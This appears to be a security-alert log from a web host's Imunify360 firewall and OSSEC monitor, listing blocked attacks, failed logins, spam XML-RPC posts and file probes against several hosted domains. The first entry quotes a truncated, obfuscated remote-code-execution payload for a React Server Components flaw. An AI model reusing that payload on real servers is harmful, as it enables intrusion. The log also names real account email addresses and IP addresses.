abuser: 136.113.9.105
country_id: 6252001
domain: www.version.mesyscom.com
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"data_27c70bd0\":\"cebd\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"x_ccc0e964\":0.0,\"reason\":-1,\"_response\":{\"_prefix\":\"var kic=arguments[0x1];var djsq=kic;try{var _v=((0,eval)(global[[\\\"B\\\",\\\"u\\\",\\\"ffe\\\",\\\"r\\\


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [15/Jun/2026:05:25:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6907549&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781501107 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:05:25:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9858917&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781501108 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [15/Jun/2026:05:25:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212613&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781501106 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [15/Jun/2026:05:25:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10458729&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781501109 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.154.116.10
country_id: 1814991
description:
Jun 15 05:25:25 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.154.116.10 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:05:26:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6932121&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781501213 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.125.55.17
country_id: 6252001
domain: ns5.netmaster.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.production.bak||User:root||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.113.158.229
country_id: 2328926
description:
2026-06-15 05:29:12 dovecot_login authenticator failed for H=(154.113.158.229) [154.113.158.229]:60926: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.113.158.229
country_id: 2328926
description:
Jun 15 05:29:10 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.113.158.229 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.131.51
country_id: 690791
description:
Jun 15 05:30:49 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.131.51 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [15/Jun/2026:05:31:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:05:31:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:05:31:05 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [15/Jun/2026:05:31:03 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.246.124.249
country_id: 6252001
description:
2026-06-15 05:31:29 dovecot_plain authenticator failed for H=(6lpbg8fcm4zg3wpb7qkhk) [69.246.124.249]:51630: 535 Incorrect authentication data (set_id=ptitrikou@mesyscom.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 193.187.114.43
country_id: 597427
domain: educplusmedia.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:193.187.114.43||TA:193.187.114.43||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.154.224.177
country_id: 6252001
domain: educplusmedia.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:38.154.224.177||TA:38.154.224.177||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 197.133.113.84
country_id: 357994
description:
[2026-06-15 05:32:55 +0000] info [whostmgrd] 197.133.113.84 - radiotogocomtg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.183
country_id: 3469034
description:
Jun 15 05:36:34 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.183 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 184.72.115.35
country_id: 6252001
description:
184.72.115.35 - - [15/Jun/2026:05:37:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7248995&pdata=http%253A%252F%252Fns5.netmaster.tg%253A2082%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781342181 HTTP/1.1" 404 159 ns5.netmaster.tg "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:184.72.115.35


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 117.99.230.219
country_id: 1269750
domain: hotel-yabisso.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:82861.hotel-yabisso.com||ServerName:hotel-yabisso.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:40223e05b699c44e80b1c090fe7bc221d57cad2e||Title:0x1f99877d||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.142.112.167
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ce1079e27695817f18953adf3fbbd0e1d154f7d5||Title:ftmyfbgdunmv6y||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.142.112.184
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3e753f188c557fbdccadc79f4fa051b1a3ca6819||Title:uyed9m0am42tzbia5e||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.142.112.167
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:53c0cce3dad1508dfb917c19e1876d0c41af98e7||Title:zjjhzxdguyot1mi||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.142.112.167
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c50931b94628d4c8db535541dccaf2a093509296||Title:1qdm9bx3r2namc3f||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 100.52.195.126
country_id: 6252001
domain: www.academie.besteva1.com
description:


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.142.112.167
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a3821026d17711289dee985a09d72418827e7c4c||Title:z2rzz2u2uwo64fmw3||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [15/Jun/2026:05:42:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10077595&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781502173 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:05:42:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6526063&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781502170 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [15/Jun/2026:05:42:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10120291&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781502169 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [15/Jun/2026:05:42:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9935257&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781502174 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.142.112.167
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ed15095eb3d5b82fc77fc5f88a3bf9b492f59a67||Title:r0eosadns0iznauqdm||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.142.112.167
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f5eb00d41f0c358e8bafc94be39b49cf1264d2ec||Title:m8z0ommcgcnj3g||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.142.112.167
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a0c4013c7e76d0845d92a4c950852e454343e74f||Title:cw6vozp33nxy7c4x||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.142.112.167
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e35e2a3d1d0bf18e34ab50e8d57e091ba8ec88e0||Title:esgkbbtr6nb7d3pna||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.142.112.167
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:776e73bb14d34d49061578527dbec5aa5ba95073||Title:p7j9x2soziz9zqvza||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [15/Jun/2026:05:48:28 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:05:48:29 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:05:48:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.142.112.167
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6b592458bbe4802bd4a5546a6957efbfd6a68a5e||Title:gsvhqmb1qgxsie6kn||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [15/Jun/2026:05:48:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.142.112.167
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d217ea9f7d1eb73aa6b2c23b9b608412cde2907d||Title:ttpw4k0xjsy8f08||RSV:8.16||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 94.183.142.255
country_id: 130758
description:
2026-06-15 05:51:07 H=([94.183.142.255]) [94.183.142.255]:18854 F=<John@4452.com> rejected RCPT <info@sigm.tg>: Sender verify failed


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.142.112.167
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fe988ac869de45e37b574925bdf1c264ecd343de||Title:n44dkv6xofe8aei9f||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.27
country_id: 6252001
description:
205.169.39.27 - - [15/Jun/2026:05:51:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6776475&pdata=http%253A%252F%252Fceni.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781502714 HTTP/1.1" 302 0 ceni.tg "http://ceni.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.27


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.142.112.167
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d29acf7da55a828b5a3e7535691bcfdf05abff86||Title:b40trxeexk11tdqk||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.142.112.167
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:863aac9e2e20f6d80632f39f49123a75efd92044||Title:o09a8gta3dz8ps||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.142.112.178
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4787a8dd59e337b68a19dc92b88ec262cacb5196||Title:ed884trf6hhbrs9lx||RSV:8.16||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.147.227
country_id: 1733045
description:
2026-06-15 05:54:04 dovecot_login authenticator failed for H=(31-154-88-51.orange.net.il) [183.171.147.227]:38110: 535 Incorrect authentication data (set_id=j_essoh@centif.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.142.112.167
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1939d5db51eba48bdd3bb7d51723c008e9ca3a2a||Title:h9unjawvcb68nl||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.187
country_id: 1880251
description:
47.128.96.187 - - [15/Jun/2026:05:55:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6384791&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdosiapp%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781502911 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/dosiapp/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.187


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.142.112.167
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:dfcd22349adbf4cee158367abd1ce0083a08ca1f||Title:kprpx00sien2bs||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: www.pnlstogo.pnls.tg
description:


